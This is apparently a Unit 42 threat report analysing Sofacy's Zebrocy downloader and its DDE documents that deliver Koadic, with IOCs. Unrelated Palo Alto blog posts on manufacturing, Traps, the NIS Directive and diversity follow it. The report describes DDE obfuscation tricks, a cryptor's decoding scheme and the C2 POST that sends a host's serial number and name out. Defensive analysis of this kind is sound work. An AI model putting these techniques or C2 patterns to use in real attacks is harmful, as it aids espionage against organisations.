Sofacy Group’s Parallel Attacks

Summary

The Sofacy group remains a persistent global threat. Unit 42 and others have shown in the first half of 2018 how this threat actor group continues to target multiple organizations throughout the world with a strong emphasis on government, diplomatic and other strategic organizations primarily in North America and Europe.

Following up our most recent Sofacy research in February and March of 2018, we have found a new campaign that uses a lesser known tool widely attributed to the Sofacy group called Zebrocy. Zebrocy is delivered primarily via phishing attacks that contain malicious Microsoft Office documents with macros as well as simple executable file attachments. This third campaign is consistent with two previously reported attack campaigns in terms of targeting: the targets were government organizations dealing with foreign affairs. In this case however the targets were in different geopolitical regions.

An interesting difference we found in this newest campaign was that the attacks using Zebrocy cast a far wider net within the target organization: the attackers sent phishing emails to a an exponentially larger number of individuals. The targeted individuals did not follow any significant pattern, and the email addresses were found easily using web search engines. This is a stark contrast with other attacks commonly associated with the Sofacy group where generally no more than a handful of victims are targeted within a single organization in a focus-fire style of attack.

In addition to the large number of Zebrocy attacks we discovered, we also observed instances of the Sofacy group leveraging the Dynamic Data Exchange (DDE) exploit technique previously documented by McAfee. The instances we observed, however, used the DDE exploit to deliver different payloads than what was observed previously. In one instance the DDE attack was used to deliver and install Zebrocy. In another instance, the DDE attack was used to deliver an open-source penetration testing toolkit called Koadic. The Sofacy group has leveraged open source or freely available tools and exploits in the past but this is the first time that Unit 42 has observed them leveraging the Koadic toolkit.

 

Links to previous attacks

In our February report, we discovered the Sofacy group using Microsoft Office documents with malicious macros to deliver the SofacyCarberp payload to multiple government entities. In that report, we documented our observation that the Sofacy group appeared to use conventional obfuscation techniques to mask their infrastructure attribution by using random registrant and service provider information for each of their attacks. In particular, we noted that the Sofacy group deployed a webpage on each of the domains. This is odd because attackers almost never set up an actual webpage on adversary C2 infrastructure. Even stranger, each webpage contained the same content within the body. Since that report, we continued our research into this oddity. Using this artifact, we were able to pivot and discover another attack campaign using the DealersChoice exploit kit with similar victimology to what we saw in February. Continuing to use this artifact, we discovered another domain with the same content body, supservermgr[.]com. This domain was registered on December 20, 2017 and within a few days was resolving to 92.222.136[.]105, which belonged to a well-known VPS provider often used by the Sofacy group.

Unfortunately, at the time of collection, the C2 domain had been sinkholed by a third party. Based on dynamic and static analysis of the malware sample associated with the supservermgr[.]com domain however, we were able to determine several unique artifacts which allowed us to expand our dataset and discover additional findings. First, we determined the sample we collected, d697160ae… was attempting to communicate to its C2 at hxxp://supservermgr[.]com/sys/upd/pageupd.php to retrieve a Zebrocy AutoIT downloader. Because the domain had been sinkholed, this activity could not be completed. However, we were able determine a unique, hard-coded user agent used for the C2 communications:

 

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)

 

Using AutoFocus, we pivoted from the user agent string to expand our data set to three additional Zebrocy samples using the exact same user agent. This led us to additional infrastructure for Zebrocy at 185.25.51[.]198 and 185.25.50[.]93. At this point we had collected nearly thirty samples of Zebrocy in relation to the original sample and its associated C2 domain. Additional pivoting based on artifacts unique to this malware family expanded our dataset to hundreds of samples used over the last several years. Most of the additional samples were the Delphi and AutoIT variants as reported by ESET. However, several of the collected samples were a C++ variant of the Zobracy downloader tool. In addition, we discovered evidence of a completely different payload in Koadic being delivered as well. Also, we found the IP address 185.25.50[.]93 hosting C2 services for a Delphi backdoor that ESET’s report states is the final stage payload for these attacks.

A Maltego chart diagramming the relational analysis we performed is below:

Figure 1 Visualization of relationships

 

Please note this is not a comprehensive chart of all Zebrocy and Koadic samples we were able to collect. Only samples mentioned or relevant to the relational analysis have been included.

From the 185.25.50[.]93 C2 IP, we discovered another hard-coded user agent being used by Zebrocy:

Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko

We observed several samples of Zebrocy using this user agent targeting the foreign affairs ministry of a large Central Asian nation. Pivoting off of this artifact provided us additional Zebrocy samples. One sample in particular, cba5ab65a… used yet another unique user agent string in combination with the previous user agent for its C2:

Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1

A malware sample using two separate unique user agent strings is uncommon. A closer examination of the tool revealed the second user agent string was from a secondary payload that was retrieved by the cba5ab65a… sample. Pivoting from the Mozilla v5.1 user agent revealed over forty additional Zebrocy samples, with several again targeting the same Central Asian nation. Two samples specifically, 25f0d1cbc… and 115fd8c61… provided additional artifacts we were able to pivot from to discover weaponized documents to deliver Zebrocy as well as a Koadic.

Examining the use of the unique user agents’ strings over time shows that while previously only the Mozilla/5.0 user agent was in use, since mid 2017 all three user agent strings have been used by the Zebrocy tool for its C2 communications.

 

Figure 2 Timeline of User Agents

 

DDE Documents

The two weaponized documents we discovered leveraging DDE were of particular interest due to victimology and a change in tactics.

While examining 25f0d1cbc…, we were able to pivot from its C2  220.158.216[.]127 to gather additional Zebrocy samples as well as a weaponized document. This document (85da72c7d…) appears to have been targeting a North American government organization dealing with foreign affairs. It leveraged DDE to retrieve and install a payload onto the victim host. A decoy document is deployed in this attack, with the contents purporting be a publicly available document from the United Nations regarding the Republic of Uzbekistan.

Figure 3 Example of delivery document

Figure 4 Lure image used

 

The creator of the weaponized document appended their DDE instructions to the end of the document after all of the decoy contents. When the document is opened in Word, the instructions are not immediately visible, as Word does not display these fields contents by default. As you can see in the following screenshot, simply attempting to highlight the lines in which the DDE instructions reside does not display them.

 

Figure 5 Hidden DDE commands

 

Enabling the “Toggle Field Codes” feature reveals the DDE instructions to us and shows that the author had set instructions to size 1 font and with a white coloring. The use of a white font coloring to hide contents within a weaponized document is a technique we had previously reported being used by the Sofacy group in a malicious macro attack.

The DDE instructions attempt to run the following the following command on the victim host, which attempts to download and execute a payload from a remote server:

During our analysis, we observed this DDE downloading and executing a Zebrocy AutoIt downloader (f27836430…), configured to attempt to download an additional payload from 220.158.216[.]127. The DDE instructions also included another command that it did not run, which suggests it is an artifact of a prior version of this delivery document. The following shows this unused command, which exposed an additional server within Sofacy’s infrastructure would download and execute an encoded PowerShell script from 92.114.92[.]102:

The unused command above appears to be related to previous attacks, specifically attacks that occurred in November 2017 as discussed by McAfee and ESET. The payload delivered in these November 2017 attacks using DDE enabled documents was SofacyCarberp, which differs from the Zebrocy downloader delivered in the February 2018 attacks.

115fd8c61… was another Zebrocy sample we were able to pivot from by gathering additional samples connecting to its C2 86.106.131[.]177. The additional samples targeted the same large Central Asian nation state as previously mentioned but more interestingly, one of the samples was a weaponized document also leveraging DDE and containing a non-Zebrocy payload. The payload turned out to be an open source penetration test toolkit called Koadic. It is a toolkit similar to Metasploit or PowerShell Empire and is freely available to anyone on Github.

Figure 6 Example of delivery document

 

The RTF document (8cf3bc2bf…) was very small in size at 264 bytes, which can be seen in its entirety here:

The contents above use the DDE functionality in Microsoft Word to run a PowerShell script to download the Koadic payload from a remote server, save it as an executable file on the system and then execute the payload.

 

Conclusion

The Sofacy group continues their targeted attack campaigns in 2018. As mentioned in this blog, Sofacy is carrying out parallel campaigns to attack similar targets around the world but with different toolsets. The Zebrocy tool associated with this current strain of attacks is constructed in several different forms based on the programming language the developer chose to create the tool. We have observed Delphi, AutoIt, and C++ variants of Zebrocy, all of which are related not only in their functionality, but also at times by chaining the variants together in a single attack. These attacks are still largely perpetrated via spear phishing campaigns, whether via simple executable attachments in hopes that a victim will launch the file to using a previously observed DDE exploitation technique.

Palo Alto Networks customers are protected from Zebrocy and Koadic attacks by:

  • All known Zebrocy samples have a malicious verdict in WildFire
  • AutoFocus customers can track this campaign with the following Tags:

 

Appendix

Zebrocy C++ Variant

On February 19, 2018, we saw a spear phishing email sent to a foreign affairs organization within a Central Asian country, which attempted to delivered an attached Zebrocy downloader (5b5e80f63…) written in the Delphi programming language. This downloader obtained a second downloader, which in this case was very similar in functionality but was written in C++ instead of Delphi.

This variation of the Zebrocy downloader begins by gathering the serial number for the storage volume with the label “C:\” and the computer name. It then creates an invisible window (0x0 pixel) in the bottom right corner of the screen, which will call the main function of the Trojan.

The main function of the Trojan interacts with its configured C2 server to obtain additional code to execute. The main function gets pertinent strings to communicate with its C2 by calling a sub-function with a specific number that the sub-function uses as a case within a switch statement to decrypt the desired string. For instance, here are the resulting decrypted strings from each of the case statements (dd7e69e1…):

Case – String decrypted

1 – 85.25.50[.]93

2 – POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1\r\nHost: 185.25.50[.]93\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length:

3 – porg=

4 – Content-Length:

The Trojan uses raw sockets to communicate with its C2 server and uses the decrypted string above to create HTTP requests. It starts by calling this specific sub-function with an argument of 1 to get the IP address for the C2 to connect. It then calls the subfunction with the argument of 2 to get the string that it will use as the HTTP POST request. The main function then calls the subfunction with the argument 3 to get the POST data parameter (“porg”) along with the volume serial number and computer name and will send this data to the C2 via the HTTP POST request. The resulting HTTP POST request looks like the following:

POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1

Host: 185.25.50[.]93

Content-Type: application/x-www-form-urlencoded

Content-Length: 21

porg=44908AE0524f422d

We have not seen a C2 server respond to our requests during our analysis, however, we do know how the Trojan will parse the C2’s response for specific data.

-1 – Deletes the buffer and exits the Trojan.

009 – Deletes the buffers and exits the Trojan.

If neither of the above values are found at the beginning of the HTTP response, the Trojan checks the C2 response for the ASCII representation of hexadecimal bytes. The Trojan will convert these hexadecimal bytes to their binary values and write them to a file and will run the file using the “open” function using the ShellExecuteW API function.

We have seen the following HTTP POST parameters within the Zebrocy C++ samples:

porg

structOne

oq

volume

DDE Details

The author of the DDE document used in the February 2018 attacks used some obfuscation techniques in an attempt to evade detection. First, the DDE instructions heavily rely on the QUOTE field, which converts decimal values to their ASCII equivalent character. Also, the author capitalized the “E” in the “dde” command to evade case sensitive signatures. Lastly, the author bolded the “dd” characters within the “dde” command, which breaks the string up within the XML of the DOCX file (word/document.xml) to make signature development difficult, as seen here:

In addition to the aforementioned DOCX file, we found another related DDE enabled document  based on an infrastructure overlap with a Zebrocy C2 IP address. This related delivery document was an RTF file that downloaded and installed a payload used to load the open-source Koadic tool. We do not have telemetry on the target or attack vector, but we know the RTF file used DDE to download and execute an executable that loaded Koadic.

The payload (abbad7acd…) is an executable that appears to have been created by a VBScript to Executable tool and further obfuscated with a cryptor. Our analysis shows some possible ties to the Vbs to Exe tool by F2KO Software but we have yet to confirm a direct overlap. We believe the actor used a cryptor on the payload, as it obtains a filename and script from within its resources and decodes these resources by multiplying each byte by negative one. The payload then uses the MD5 hash (14331d289e737093994395d3fc412afc) of what appears to be a hardcoded SHA1 hash (B6A75B1EF701710D7AEADE0FE93DE8477F3BD506) as an RC4 key to decrypts the resulting decoded data. For instance, the following data exists within a resource:

fb 70 b0 c9 bd c5 8a d4 0c 54 fd 4c 6d bb f0 0f

By multiplying each byte with -1, we obtain the following data:

05 90 50 37 43 3b 76 2c f4 ac 03 b4 93 45 10 f1

After using RC4 and the key 14331d289e737093994395d3fc412afc, the following cleartext data appears:

\x00\x00\x00\x00FlashRun.vbs

We do not see the payload using this FlashRun.vbs filename, instead it uses a temporary file name to store an embedded VBScript file, such as %Temp%\4.tmp\5.vbs. The embedded VBScript is retrieved from a resource and decrypted using the same algorithm as discussed above, which results in the following cleartext:

The Koadic C2 server will respond to this request with Javascript code that acts as the Koadic staging payload, which allows the actor to run additional Koadic modules on the end system to carry out their post-exploitation activities. Unfortunately, we did not observe the Koadic modules used by Sofacy during out analysis.

 

IOCs

Domain

supservermgr[.]com

URL

hxxp://supservermgr[.]com/sys/upd/pageupd.php

Zebrocy

d697160aecf152a81a89a6b5a7d9e1b8b5e121724038c676157ac72f20364edc
cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df
25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8
115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03
f27836430742c9e014e1b080d89c47e43db299c2e00d0c0801a2830b41b57bc1
5b5e80f63c04402d0b282e95e32155b2f86cf604a6837853ab467111d4ac15e2
dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d

Koadic

abbad7acd50754f096fdc6551e728aa6054dcf8e55946f90a02b17db552471ca

User Agents

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)

Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko

Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1

IPs

185.25.51[.]198
185.25.50[.]93
220.158.216[.]127
92.114.92[.]102
86.106.131[.]177
85.25.50[.]93
86.106.131[.]177

DDE Docs

85da72c7dbf5da543e10f3f806afd4ebf133f27b6af7859aded2c3a6eced2fd5
8cf3bc2bf36342e844e9c8108393562538a9af2a1011c80bb46416c0572c86ff

 and 

[Palo Alto Networks Research Center]

Security Operating Platform for Smart Manufacturing and Industry 4.0

Information technology is transforming manufacturing by digitizing virtually every step of the modern manufacturing process – a trend referred to as “smart manufacturing” in the United States and “Industry 4.0” in Europe.

Cloud computing, together with technologies such as 5G wireless, smart sensors, high-performance computing (HPC), computer-aided design, engineering and the industrial internet of things, is essential to the smart manufacturing revolution.

Applications in the cloud will impact virtually every aspect of modern manufacturing. At the enterprise level, cloud computing will impact how companies manage their operations, from enterprise resource planning (ERP) and financial management to data analytics and workforce training. The cloud will also prove integral to how manufacturers integrate themselves into industrial supply chains. At the manufactured-product level, cloud computing has begun to transform everything from how products themselves are researched, designed and developed to how they are fabricated and manufactured, and finally, how they are used by customers in the field.

However, as with any change in working practices, there are also some associated risks that must not be ignored.

With smart manufacturing, terminals will be embedded with IoT, which ultimately means that they will be vulnerable to cyberattacks. While this added connectivity helps improve productivity, it is also a weak point in the network which cybercriminals can take advantage of.

Cybercriminals understand the sensitivity of these networks and are also fully aware of the destructive consequences a successful attack can have – lost revenues/profit, brand damage, or a devastating threat to people and assets.

It is therefore imperative that the manufacturing industry take steps to improve security and ensure it is not exposing its systems to cybercriminals.

One of the key challenges with cybersecurity within manufacturing is that attacks are extremely difficult to identify in operational technology (OT) environments. Consider a plant where, for an unknown reason, a certain SCADA component suddenly stops working. Chances are that “malicious activity is going on,” would not be the first consideration when trying to work out what has gone wrong. In 9 out of 10 cases, the root cause is likely to be benign. But what about that one time when there is a more suspicious root cause?

Monitoring services exist for OT environments, but they have limited visibility and offer only correlated, contextual information due to the necessity for network zones, or segmentation. This means that sensors need to be placed at several different layers within the network to monitor end-to-end activity. Another contributing factor is complexity, even if network traffic is being captured. When systems go down, many organizations are completely focused on getting them up and running again rather than mining big data sets to determine categorically what went wrong.

As organizations adopt smart manufacturing/Industry 4.0 working practices, cybersecurity is increasingly paramount. With this in mind, learn how to protect yourself against sophisticated cyberattacks with Palo Alto Networks Security Operating Platform.

[Palo Alto Networks Research Center]

Tech Docs: Traps Management Service Updates Are Live!

The May release of the Traps management service is now available and introduces the following key features and capabilities:

  • Traps for Android — You can now protect your Android endpoints from malware using the new Traps app for Android. To get your end users started with Traps for Android, you create a custom installation URL from the Traps management service and send it to your users. Your custom URL contains a distribution ID for your Traps management service tenant which ties the Android endpoint to your tenant. After you install Traps for Android, you can use the Traps management service to manage your Android endpoints and view details about the threats and events reported by your Android endpoints. Traps for Android is supported on Android 4.4 and later releases.

  • File Analytics — The Traps management service now provides detailed file analytics for the files that attempt to run on Windows and Mac endpoints in your organization.

  • Child Process Execution Criteria — You can now allow specific parent processes to launch child processes and optionally configure execution criteria based on command line parameters.

  • Windows Security Center Registration — You can now customize the registration behavior for Traps and the Windows Security Center.
  • Delete an Endpoint — This feature enables you to manually remove an endpoint from the Traps management service (Endpoints view) and returns its license to the license pool.

For more details on the new features, please refer to the following resources:

Happy reading!
Your friendly Technical Documentation team

Have questions? Contact us at documentation@paloaltonetworks.com.

[Palo Alto Networks Research Center]

The EU’s Network and Information Security (NIS) Directive Goes Live Amidst Range of Expanding Cybersecurity Efforts

Yesterday was the “go live” date for the EU’s Network and Information Security (NIS) Directive. The NIS Directive was adopted in 2016, and as a directive, it sets out objectives and policies to be attained through legislation at an EU member state level within a certain timeframe (a process called transposition). Member states were required to transpose the NIS Directive into national law by May 9, 2018.

As the first EU law specifically focused on cybersecurity, the NIS Directive has three parts, affecting both industry and member state governments.

  • Requirements on organisations: The directive establishes security and incident notification requirements for “operators of essential services” (OES) (e.g., providers of energy, transportation, healthcare, drinking water, some financial services) and, to a less stringent extent, “digital service providers” (DSP) (online marketplaces, online search engines, and cloud service providers). The NIS Directive requires these companies “to have regard to the state of the art technologies” to manage risks posed to the security of the networks and information systems used to provide the covered services, and take appropriate measures to prevent and minimise the impact of incidents. Security incidents of certain magnitudes must be reported to national competent authorities. The above obligations apply whether the OES or DSP manages its own network and information systems or outsources them.
  • National activities: The directive requires member states to adopt national cybersecurity strategies; to designate national competent authorities; and to have one or more computer security incident response teams (CSIRTs), corresponding at least to the sectors covered by the directive, to detect, prevent, and respond to cyber incidents and risks.
  • EU-wide collaboration: The directive emphasises coordination among member states, setting up a CSIRT network (also to include CERT-EU) to promote swift and effective operational cooperation regarding threats and incidents, and a strategic NIS “cooperation group” to support and facilitate cooperation and information exchange among member states.

Officials in Brussels and other EU capitals have worked hard to make NIS successful. Many countries have updated or issued, for the first time, their national cybersecurity strategies. CSIRTs have been established, and legislation has been readied to transpose NIS. The European Commission has issued guidance to countries on effective implementation of NIS.  ENISA – the EU Agency for Network and Information Security – has also issued a range of guidance, including recommendations on the use and management of CSIRTs and recommendations regarding the security and incident notification measures for DSPs. .  The NIS cooperation group –  composed of representatives of member states, the Commission, and ENISA– reportedly meets regularly to coordinate efforts among EU countries, including sharing information about how to implement NIS as consistently as possible. To that end, the cooperation group has issued  non-binding guidelines on security measures and incident notification for OESs. The EU member states that have held the EU Presidency since NIS was adopted- Slovakia, Malta, Estonia, and now Bulgaria—have all made NIS implementation a priority, driving NIS-related activity including in the Cooperation Group.

Of course, steps remain. Some countries need to finish transposing NIS (not all countries made the deadline). Per the directive, they also have another six months to identify the operators of essential services established in their territories (this information might not be made public for security reasons).  And equally importantly, organisations covered by NIS will be determining if they must change their security practices to meet its requirements, and if so, how. The European Commission understands that more needs to be done, and announced May 4 that, to help member states rapidly transpose the NIS Directive and build their capabilities, the Connecting Europe Facility programme is providing €38 million in funding until 2020 to support national CSIRTs as well as other NIS Directive stakeholders, such as the operators of essential services and digital service providers.

As part of the May 4 announcement above, European Commission Vice-President Andrus Ansip, responsible for the Digital Single Market, Commissioner for Migration, Home Affairs and Citizenship Dimitris Avramopoulos, Commissioner for the Security Union Julian King and Commissioner Mariya Gabriel, in charge of Digital Economy and Society, issued a statement, noting that “The adoption of the NIS Directive two years ago was a turning point for the EU’s efforts to step up its cybersecurity capacities.” This is true.  However, NIS is just one of an expanding list of activities driven out of Brussels to improve cybersecurity. Many people close to the action in Brussels reported that attention to cybersecurity rose quickly among senior policymakers in the wake of the May 2017 WannaCry ransomware attack. In September 2017, EU President Jean-Paul Juncker made cybersecurity a major theme – for the first time ever — of the “State of the EU” address, highlighting the need for the EU to better protect Europeans in the digital age. That same month, the European Commission issued a package of cybersecurity legislative and other proposals. This included a new EU cybersecurity strategy, “Resilience, Deterrence and Defence: Building Strong Cybersecurity for the EU,” with a focus on protection and prevention of cyberattacks. Further, the Commission announced the intention to set up a “cybersecurity competence network” and a “European Cybersecurity Research and Competence Centre,” and a recommendation to establish an EU-wide “Coordinated Response to Large Scale Cybersecurity Incidents and Crises.” It also proposed a new law – the Cybersecurity Act — to increase and make permanent ENISA’s mandate, as well as develop an EU-wide certification scheme. This Act is currently being debated in Parliament and the European Council.

All these EU efforts are essential. They include important plans and activities: increasing cybersecurity-related education and training, stepping up law enforcement activities, and accelerating cyberthreat information sharing, to name a few. They also, of course, complement an array of actions being taken by the member states individually.

Palo Alto Networks commends European policymakers for putting cybersecurity front and center.  The NIS Directive hits a key milestone today, but today is simply a stage on a journey. The EU understands that cybersecurity is essential to economic activity and growth as well as to the user confidence in online activities that underpins it.  Companies in Europe, across all sectors, must ensure their business are resilient to cyberattacks as they embrace the digital world, EU governments need secure online operations, and consumers need trust in their online experiences. Ultimately, the more all EU member states can raise the collective bar the more the global digital infrastructure will benefit.  Palo Alto Networks looks forward to continuing to contribute to Europe’s efforts.

[Palo Alto Networks Research Center]

Inclusion and Diversity: How Do We Lead?

At Palo Alto Networks, we’re committed to creating an environment where all the members of the team feel inspired to do their best work and contribute to the mission of protecting our way of life in the digital age. To do this, our team must better reflect the world we live in and secure with our products and services. For us, this means Palo Alto Networks should lead our industry on inclusion and diversity (I&D). It’s ambitious, but achievable, as we focus on fostering a workplace that welcomes every culture, gender, age, sexual orientation, disability, background and experience.

A key feature of our corporate culture is self-awareness, so let me start by sharing my perspective on how we’re currently doing. The short answer: we must do better as a company.

On our website, you will find numbers and percentages associated with the composition of our team across race and gender, which, as you can see, does not represent the world in which we live. While the data is humbling, sharing it is an important step in the work and commitment required to achieve true inclusion and diversity across our organization.

As a company, we’re experienced at bringing technology leadership to the market: launching, iterating, improving, and repeating those steps until we are the best. We will do that here as well. Research shows conclusively that diverse teams are more creative, innovative, and perform better than teams that are not diverse. Having people from different backgrounds – particularly those who have been historically underrepresented in the tech industry – at the decision-making table will lead us to better business outcomes and result in better products to meet the needs of the broad spectrum of people we serve worldwide. It’s common sense backed by empirical research. More importantly, it’s the right thing to do.

These numbers have prompted me to think a lot about the corporate culture we have cultivated at Palo Alto Networks. While I am proud of our core values of putting our customers first, transparency, and a “no egos” approach, at the end of the day, inclusion and diversity must be part of our company DNA if we are to make meaningful change. We need the entire company to embrace this effort.

Ultimately it all comes down to action. We’ve launched a number of initiatives to build a culture of inclusion at the company, through our own internal programs and by signing on to the CEO Action for Inclusion and Diversity pledge. Here’s a snapshot of where we’ve been focusing:

  • Launched our “Power of Inclusion” training program to help employees understand the research on inclusion and diversity, reflect on their experiences, personalize what inclusion and diversity means to them, and identify actions they can take to create a more inclusive workplace. All people managers worldwide will be expected to complete the training by July 31.
  • Recognizing that training is not enough, we are also in the process of planning ongoing, systemic efforts to put this training into action with toolkits and resources for employees and managers to help build more inclusive teams and a more inclusive culture.
  • Enhanced our hiring practices to better focus on attracting candidates with diverse backgrounds and expertise. For example, we’ve partnered with organizations like Direct Employers and InHerSight to post our jobs on over 150 channels focused on diverse communities. We are ensuring diversity in our interview teams and rolling out a “License to Hire” training program for interviewers to eliminate unconscious bias in our hiring processes.
  • Expanded our Employee Networks to foster a greater sense of community across our organization. So far, we have network groups for women, veterans, Black and Latino employees, and early-in-career professionals. Muslim, Asian and LGBTQIA+ networks are in the early stages of forming, and I encourage more to come.
  • Established the Mosaic advisory board, a diverse group of women and men from across the organization responsible for providing guidance on companywide I&D investments and championing I&D efforts within their own organizations.
  • Deepened our relationships with the National Center for Women & Information Technology (NCWIT), AnitaB.org, Women of the Channel, VetsinTech and National Society for Black Engineers (NSBE). With NCWIT, for example, we are creating training and resource kits for thousands of community college career counselors to encourage female and minority students to consider cybersecurity, and we will launch a new Collegiate Cybersecurity Award to recognize the cybersecurity achievements of college women.
  • Through our collaboration with Girl Scouts of the USA (GSUSA), we are introducing cybersecurity education to millions of girls across the United States through compelling programming designed to increase their interest and instill in them a valuable 21st century skillset. This national effort is a huge step toward eliminating traditional barriers to industry access, and will target girls as young as five years old, helping to ensure that even the youngest girls have a foundation primed for future life and career success. The first in a series of 18 Cybersecurity badges will be available to Girl Scouts throughout the United States in September 2018. We’re also partnering with Black Girls Code to develop a cyber camp that will be delivered this August.

There is so much more to do and, in addition to the internal discussions we’ll have as a company, we continue to seek input and advice from outside experts. We are committed to providing you with updates on our progress and look forward to suggestions and feedback.

Mark

[Palo Alto Networks Research Center]

English
Exit mobile version